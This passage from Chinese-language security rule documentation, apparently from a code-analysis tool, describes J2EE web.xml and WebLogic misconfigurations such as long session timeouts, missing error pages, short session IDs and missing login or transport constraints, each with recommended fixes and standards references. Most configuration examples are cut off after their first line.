例 2: web.xml 文件中的以下条目定义了两个截然不同的角色。
1 | <security-constraint> |
REFERENCES
[1] Sun Microsystems, Inc. Java Servlet Specification 2.4
[2] Standards Mapping - Common Weakness Enumeration CWE ID 398
[3] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M5 Poor Authorization and Authentication
[4] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[5] Standards Mapping - Web Application Security Consortium Version 2.00 Application Misconfiguration (WASC-15)
J2EE Misconfiguration: Duplicate Servlet Mapping
ABSTRACT
存在使用相同 URL 模式的多个 servlet 映射。重复的 servlet 映射通常表示存在 Leftover Debug Code 或排字错误。
EXPLANATION
重复的 servlet 映射毫无用处,因为当多个 servlet 映射使用相同 URL 模式时,仅应用最后一个条目。
例 1:在以下示例中,两个不同的 servlet 映射使用了相同的 URL 模式 /servletA/*。
1 | <servlet-mapping> |
RECOMMENDATIONS
为每个 servlet 映射使用截然不同的 URL 模式。
例 2:在以下示例中,每个 servlet 映射均使用唯一的 URL 模式。
1 | <servlet-mapping> |
REFERENCES
[1] Standards Mapping - Common Weakness Enumeration CWE ID 398
[2] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[3] Standards Mapping - Web Application Security Consortium Version 2.00 Application Misconfiguration (WASC-15)
J2EE Misconfiguration: Excessive Servlet Mappings
ABSTRACT
多个 URL 模式映射到单个 Servlet,这种情况通常表明体系结构较差或不标准。
EXPLANATION
映射到单个 Servlet 的多个 URL 模式可视为 Servlet 执行过多函数的标志。
例 1:在以下示例中,五个 URL 模式映射至单个 Servlet。
1 | <servlet> |
RECOMMENDATIONS
将任意执行多个功能的 Servlet 的功能分解成单独的 Servlet,每个都包含自己的 URL 映射和单独的功能。这对执行特权操作或敏感操作的 Servlet 尤其重要,因为这可以减少访问该功能的路径数。
例 2:在以下示例中,一个 URL 模式映射至单个 Servlet。
1 | <servlet> |
REFERENCES
[1] Sun Microsystems, Inc. Java Servlet Specification 2.4
[2] Standards Mapping - Common Weakness Enumeration CWE ID 398
[3] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
J2EE Misconfiguration: Excessive Session Timeout
ABSTRACT
如果会话超时时间过长,攻击者就会有更多时间危害用户帐户。
EXPLANATION
会话持续时间越长,攻击者危害用户帐户的机会就越大。当会话处于活动状态时,攻击者可能会强力攻击用户的密码、破解用户的无线加密密钥或者通过打开的浏览器强占会话。如果创建大量的会话,较长的会话超时时间还会阻止系统释放内存,并最终导致 denial of service。
例 1:如果会话超时时间为零或小于零,会话永远都不会过期。以下示例显示,如果会话超时时间设置为 -1,则会导致此会话永远保持活动状态。
1 | <session-config> |
<session-timeout>
标记为 Web 应用程序中的所有会话定义默认的会话超时间隔。如果缺少 <session-timeout>
标记,则由容器来设置默认超时间隔。
RECOMMENDATIONS
将会话超时间隔设置为 30 分钟或更少,既能使用户在一段时间内与应用程序互动,又提供了一个限制窗口攻击的合理范围。
例 2:以下示例将会话超时间隔设置为 20 分钟。
1 | <session-config> |
REFERENCES
[1] Sun Microsystems, Inc. Java Servlet Specification 2.4
[2] Standards Mapping - Common Weakness Enumeration CWE ID 613
[3] Standards Mapping - FIPS200 IA
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-12 Session Termination (P2)
[5] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M9 Improper Session Handling
[6] Standards Mapping - OWASP Top 10 2004 A3 Broken Authentication and Session Management
[7] Standards Mapping - OWASP Top 10 2007 A7 Broken Authentication and Session Management
[8] Standards Mapping - OWASP Top 10 2010 A3 Broken Authentication and Session Management
[9] Standards Mapping - OWASP Top 10 2013 A2 Broken Authentication and Session Management
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.3, Requirement 8.5.15
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.5.7, Requirement 8.5.15
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8, Requirement 8.5.15
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.10, Requirement 8.1.8
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.10, Requirement 8.1.8
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.10, Requirement 8.1.8
[16] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3415 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3415 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3415 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3415 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3415 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3415 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3415 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000070 CAT II, APSC-DV-000080 CAT II, APSC-DV-001980 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000070 CAT II, APSC-DV-000080 CAT II, APSC-DV-001980 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000070 CAT II, APSC-DV-000080 CAT II, APSC-DV-001980 CAT II
[26] Standards Mapping - Web Application Security Consortium 24 + 2 Insufficient Session Expiration
[27] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Session Expiration (WASC-47)
J2EE Misconfiguration: Incomplete Error Handling
ABSTRACT
Web 应用程序必须定义默认的错误页面,以避免攻击者通过应用程序容器的内置错误响应来挖掘信息。
EXPLANATION
当攻击者浏览网站寻找漏洞时,站点提供信息的数量是攻击成败的关键。如果应用程序向攻击者展示了堆栈踪迹,那么堆栈释放的信息将使攻击者的攻击变得轻而易举。例如,一个堆栈跟踪可能会给攻击者显示 SQL 查询字串、即使用的数据库类型以及应用程序容器的版本。攻击者可以从这些信息中找到这些组件中存在的漏洞。
因此,应用程序应通过配置来指定一个默认的错误页面,以保证应用程序永远不会向攻击者泄漏错误消息。处理标准 HTTP 错误代码是一种简单、有效、安全的做法;完善的配置还会定义一个用于补救的错误处理程序,来捕获应用程序可能抛出的所有异常。
RECOMMENDATIONS
Web 应用程序必须配置有默认的错误页面。您的 web.xml 文件中应当至少包含以下条目:
1 | <error-page> |
REFERENCES
[1] G. Hoglund, G. McGraw Exploiting Software Addison-Wesley
[2] Standards Mapping - Common Weakness Enumeration CWE ID 7
[3] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-11 Error Handling (P2)
[4] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M1 Weak Server Side Controls
[5] Standards Mapping - OWASP Top 10 2004 A7 Improper Error Handling
[6] Standards Mapping - OWASP Top 10 2007 A6 Information Leakage and Improper Error Handling
[7] Standards Mapping - OWASP Top 10 2010 A6 Security Misconfiguration
[8] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[9] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.7
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.2, Requirement 6.5.6
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.5
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.5
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.5
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.5
[15] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3120 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3120 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3120 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3120 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3120 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3120 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3120 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[25] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
[26] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
J2EE Misconfiguration: Incomplete Error Handling - (404)
ABSTRACT
Web 应用程序必须针对 404 错误定义默认的错误页面,以避免攻击者通过应用程序容器的内置错误响应来挖掘信息。
EXPLANATION
当攻击者浏览网站寻找漏洞时,站点提供信息的数量是攻击成败的关键。如果应用程序向攻击者展示了堆栈踪迹,那么堆栈释放的信息将使攻击者的攻击变得轻而易举。例如,一个堆栈跟踪可能会给攻击者显示 SQL 查询字串、即使用的数据库类型以及应用程序容器的版本。攻击者可以从这些信息中找到这些组件中存在的漏洞。
因此,应用程序应通过配置来指定一个默认的错误页面,以保证应用程序永远不会向攻击者泄漏错误消息。处理标准 HTTP 错误代码是一种简单、有效、安全的做法;完善的配置还会定义一个用于补救的错误处理程序,来捕获应用程序可能抛出的所有异常。
RECOMMENDATIONS
Web 应用程序必须配置有默认的错误页面。您的 web.xml 文件中应当至少包含以下条目:
1 | <error-page> |
REFERENCES
[1] G. Hoglund, G. McGraw Exploiting Software Addison-Wesley
[2] Standards Mapping - Common Weakness Enumeration CWE ID 7
[3] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-11 Error Handling (P2)
[4] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M1 Weak Server Side Controls
[5] Standards Mapping - OWASP Top 10 2004 A7 Improper Error Handling
[6] Standards Mapping - OWASP Top 10 2007 A6 Information Leakage and Improper Error Handling
[7] Standards Mapping - OWASP Top 10 2010 A6 Security Misconfiguration
[8] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[9] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.7
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.2, Requirement 6.5.6
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.5
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.5
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.5
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.5
[15] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3120 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3120 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3120 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3120 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3120 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3120 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3120 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[25] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
[26] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
J2EE Misconfiguration: Incomplete Error Handling - (500)
ABSTRACT
Web 应用程序必须针对 500 错误定义默认的错误页面,以避免攻击者通过应用程序容器的内置错误响应来挖掘信息。
EXPLANATION
当攻击者浏览网站寻找漏洞时,站点提供信息的数量是攻击成败的关键。如果应用程序向攻击者展示了堆栈踪迹,那么堆栈释放的信息将使攻击者的攻击变得轻而易举。例如,一个堆栈跟踪可能会给攻击者显示 SQL 查询字串、即使用的数据库类型以及应用程序容器的版本。攻击者可以从这些信息中找到这些组件中存在的漏洞。
因此,应用程序应通过配置来指定一个默认的错误页面,以保证应用程序永远不会向攻击者泄漏错误消息。处理标准 HTTP 错误代码是一种简单、有效、安全的做法;完善的配置还会定义一个用于补救的错误处理程序,来捕获应用程序可能抛出的所有异常。
RECOMMENDATIONS
Web 应用程序必须配置有默认的错误页面。您的 web.xml 文件中应当至少包含以下条目:
1 | <error-page> |
REFERENCES
[1] G. Hoglund, G. McGraw Exploiting Software Addison-Wesley
[2] Standards Mapping - Common Weakness Enumeration CWE ID 7
[3] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-11 Error Handling (P2)
[4] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M1 Weak Server Side Controls
[5] Standards Mapping - OWASP Top 10 2004 A7 Improper Error Handling
[6] Standards Mapping - OWASP Top 10 2007 A6 Information Leakage and Improper Error Handling
[7] Standards Mapping - OWASP Top 10 2010 A6 Security Misconfiguration
[8] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[9] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.7
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.2, Requirement 6.5.6
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.5
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.5
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.5
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.5
[15] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3120 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3120 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3120 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3120 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3120 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3120 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3120 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[25] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
[26] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
J2EE Misconfiguration: Incomplete Error Handling - (throwable)
ABSTRACT
Web 应用程序必须针对 java.lang.Throwable 配置默认的错误页面,来处理那些未被捕获的异常,从而防止攻击者通过应用程序容器的内置错误响应来挖掘信息。
EXPLANATION
当攻击者浏览网站寻找漏洞时,站点提供信息的数量是攻击成败的关键。如果应用程序向攻击者展示了堆栈踪迹,那么堆栈释放的信息将使攻击者的攻击变得轻而易举。例如,一个堆栈跟踪可能会给攻击者显示 SQL 查询字串、即使用的数据库类型以及应用程序容器的版本。攻击者可以从这些信息中找到这些组件中存在的漏洞。
因此,应用程序应通过配置来指定一个默认的错误页面,以保证应用程序永远不会向攻击者泄漏错误消息。处理标准 HTTP 错误代码是一种简单、有效、安全的做法;完善的配置还会定义一个用于补救的错误处理程序,来捕获应用程序可能抛出的所有异常。
RECOMMENDATIONS
Web 应用程序必须配置有默认的错误页面。您的 web.xml 文件中应当至少包含以下条目:
1 | <error-page> |
REFERENCES
[1] G. Hoglund, G. McGraw Exploiting Software Addison-Wesley
[2] Standards Mapping - Common Weakness Enumeration CWE ID 7
[3] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-11 Error Handling (P2)
[4] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M1 Weak Server Side Controls
[5] Standards Mapping - OWASP Top 10 2004 A7 Improper Error Handling
[6] Standards Mapping - OWASP Top 10 2007 A6 Information Leakage and Improper Error Handling
[7] Standards Mapping - OWASP Top 10 2010 A6 Security Misconfiguration
[8] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[9] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.7
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.2, Requirement 6.5.6
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.5
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.5
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.5
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.5
[15] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3120 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3120 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3120 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3120 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3120 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3120 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3120 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[25] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
[26] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
J2EE Misconfiguration: Insufficient Session ID Length
ABSTRACT
会话标识符的长度应该不小于 128 比特,以防止暴力破解会话 (brute-force session guessing) 的攻击。
EXPLANATION
WebLogic 部署标识符应该指定一个长度不小于 24 字节的会话标识符。较短的会话标识符会使应用程序暴露在暴力破解会话的攻击之下。如果攻击者可以猜测出某个授权用户的会话标识符,他就能够接收到该用户的会话。接下来的内容将详细说明使用 24 字节会话标识符的深层合理性。
会话标识符是一个从 62 个英文或数字中产生的伪随机结果,这意味着,如果这个字符串的每一个字节都是真正随机生成的,那么它就能产生一个最大 6 比特的熵。
猜测有效会话标识符所需的秒数由以下方程式给定:
(2^B+1) / (2AS)
其中:
- B 是指会话标识符中熵的比特数。
- A 表示一个攻击者每秒可以尝试猜测的次数。
- S 是指在任意指定时间内可供猜测的有效会话标识符数。
会话标识符中熵的比特数总是比总比特数要少。例如,如果会话标识符按升序给出,那么不管标识符的长度如何,在会话标识符中都有接近 0 比特的熵。假设会话标识符都是通过一个正常的随机数值源产生的,我们将能估算出会话标识符中熵的比特数是总比特数的一半。现实中这样长度的标识符是有可能存在的,虽然这一看法不免可能有些乐观。
如果攻击者使用由成百上千台计算机组成的僵尸网络 (botnet),那么我们完全有理由相信他们能够完成每秒几万次的猜测。如果这个存在问题的网站规模大且受欢迎,大量的猜测行为可能在一段时间内被忽略。
可供猜测的有效会话标识符数的下限就是在任意指定时间内,站点上的活动客户数量。但是,任何没有注销就丢弃会话的用户行为都将增加这个数量。(这就是为什么要设置较短的非活动会话超时时间的原因之一。)
一个 64 比特的会话标识符假设有 32 比特的熵。对于一个大型网站,假设攻击者每秒可以尝试 1000 次猜测,并且在任意给定时间内有 10000 个有效的会话标识符。照这个假设,攻击者成功破解出一个有效会话标识符的预期时间大约在 4 分钟以内。
现假设有一个提供了 64 比特熵的 128 比特会话标识符。对于一个超大型网站,可供猜测的有效会话标识符有 100000 个,攻击者可能尝试进行每秒 10000 次的猜测。照这个假设,攻击者成功破解出一个有效会话标识符的预期时间将大于 292 年。
将比特数换算成字节数,就会得出会话标识符为 128/6,即大约 21 字节。而且,实验表明,会话标识符的前三个字节不会随机产生,这就意味着,要实现所需的 64 比特熵,我们需要将 WebLogic 配置为使用一个长度为 24 字节的会话标识符。
RECOMMENDATIONS
应该使用长度不小于 24 字节的会话标识符。weblogic.xml 配置文件应包含一个如下所示的 session-descriptor 元素:
1 | <session-descriptor> |
REFERENCES
[1] Standards Mapping - Common Weakness Enumeration CWE ID 6
[2] Standards Mapping - FIPS200 IA
[3] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-23 Session Authenticity (P1)
[4] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M9 Improper Session Handling
[5] Standards Mapping - OWASP Top 10 2004 A3 Broken Authentication and Session Management
[6] Standards Mapping - OWASP Top 10 2007 A7 Broken Authentication and Session Management
[7] Standards Mapping - OWASP Top 10 2010 A3 Broken Authentication and Session Management
[8] Standards Mapping - OWASP Top 10 2013 A2 Broken Authentication and Session Management
[9] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.3
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.5.7
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.10
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.10
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.10
[15] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3090 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3405 CAT I
[17] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3405 CAT I
[18] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3405 CAT I
[19] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3405 CAT I
[20] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3405 CAT I
[21] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3405 CAT I
[22] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II
[25] Standards Mapping - Web Application Security Consortium 24 + 2 Insufficient Authentication
[26] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Authentication (WASC-01)
J2EE Misconfiguration: Invalid Servlet Name
ABSTRACT
无效的 servlet 名称会造成用户无法正常访问所需的 Servlet。
EXPLANATION
web.xml 中缺少 servlet 名称或包含重复的 servlet 名称均为错误。每个 Servlet 都应有一个唯一的名称 (servlet-name) 及相应的映射 (servlet-mapping)。
例 1:以下 web.xml 中的条目显示了几个错误的 servlet 定义。
1 | <!-- No <servlet-name> specified: --> |
这些错误可能导致错误地拒绝访问 Servlet。
RECOMMENDATIONS
使用适当的相应 DTD 或架构来避免 Web 应用程序配置文件中出现无效的 servlet 名称和其他错误。
例 2:以下 XML 没有使用
1 | <web-app xmlns="http://java.sun.com/xml/ns/j2ee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd" version="2.4"> |
例 3:要使用 DTD 代替,请将以下代码放到 web.xml 顶端附近:
1 | <!DOCTYPE web-app PUBLIC "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN" "http://java.sun.com/dtd/web-app_2_3.dtd"> |
例 4:如果无法验证 web.xml(截止到发布之时,没有适用于 Servlet Specification 2.4 的 DTD),以下代码片段显示了正确的 servlet 定义。
1 | <servlet> |
REFERENCES
[1] Sun Microsystems, Inc. Java Servlet Specification 2.4
[2] Standards Mapping - Common Weakness Enumeration CWE ID 730
[3] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-5 Denial of Service Protection (P1)
[4] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M1 Weak Server Side Controls
[5] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[6] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[7] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[8] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[9] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[10] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[11] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[12] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[13] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[18] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
[19] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
J2EE Misconfiguration: Missing Authentication Method
ABSTRACT
安全和授权限制在没有登录配置的情况下会失败。
EXPLANATION
<login-config>
元素用于配置用户对应用程序进行验证的方式。缺少 authentication 方法意味着应用程序不知道如何应用授权限制,因为无人可以登录。authentication 方法使用 <auth-method>
标签指定,该标签是<login-config>
的子标签。
共有四种 authentication 方法:BASIC、FORM、DIGEST 和 CLIENT_CERT。
BASIC 代表 HTTP Basic 身份验证。 FORM 代表基于表单的身份验证。 DIGEST 和 BASIC 身份验证相似;但是,DIGEST 中的密码已加密。 CLIENT_CERT 要求客户端有公钥证书并使用 SSL/TLS。
例 1:以下配置未指定登录配置。
1 | <web-app> |
RECOMMENDATIONS
在定义授权限制时始终指定登录配置。确保 login-config 的 auth-method 设置为 BASIC、FORM、DIGEST 或 CLIENT_CERT。
例 2:以下配置指定了有效的登录配置。
1 | <security-constraint> |
REFERENCES
[1] Sun Microsystems, Inc. Java Servlet Specification 2.4
[2] Sun Microsystems, Inc. Specifying an Authentication Mechanism
[3] Standards Mapping - Common Weakness Enumeration CWE ID 730
[4] Standards Mapping - FIPS200 IA
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-5 Denial of Service Protection (P1)
[6] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M1 Weak Server Side Controls
[7] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[8] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[9] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[10] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[11] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[12] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[13] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-001640 CAT II, APSC-DV-001650 CAT II, APSC-DV-001660 CAT II, APSC-DV-002400 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-001640 CAT II, APSC-DV-001650 CAT II, APSC-DV-001660 CAT II, APSC-DV-002400 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-001640 CAT II, APSC-DV-001650 CAT II, APSC-DV-001660 CAT II, APSC-DV-002400 CAT II
[20] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
[21] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
J2EE Misconfiguration: Missing Data Transport Constraint
ABSTRACT
未指定用户数据限制的安全限制不能保证受限制的资源在传输层受到保护。
EXPLANATION
web.xml 安全限制通常用于基于角色的 Access Control,而可选的 user-data-constraint 元素则用于指定可防止采用不安全方式传输内容的传输保证。
在 <user-data-constraint>
标签中,<transport-guarantee>
标签定义通信的处理方式。有三种级别的传输保证:
1) NONE 表示应用程序不要求任何传输保证。 2) INTEGRAL 表示应用程序要求采用传输过程中无法更改的方式在客户端和服务器之间传送数据。 3) CONFIDENTIAL 表示应用程序要求采用可防止其他实体查看传输内容的方式来传输数据。
在大多数情况下,使用 INTEGRAL 或 CONFIDENTIAL 表示需要 SSL/TLS。如果 <user-data-constraint>
和 <transport-guarantee>
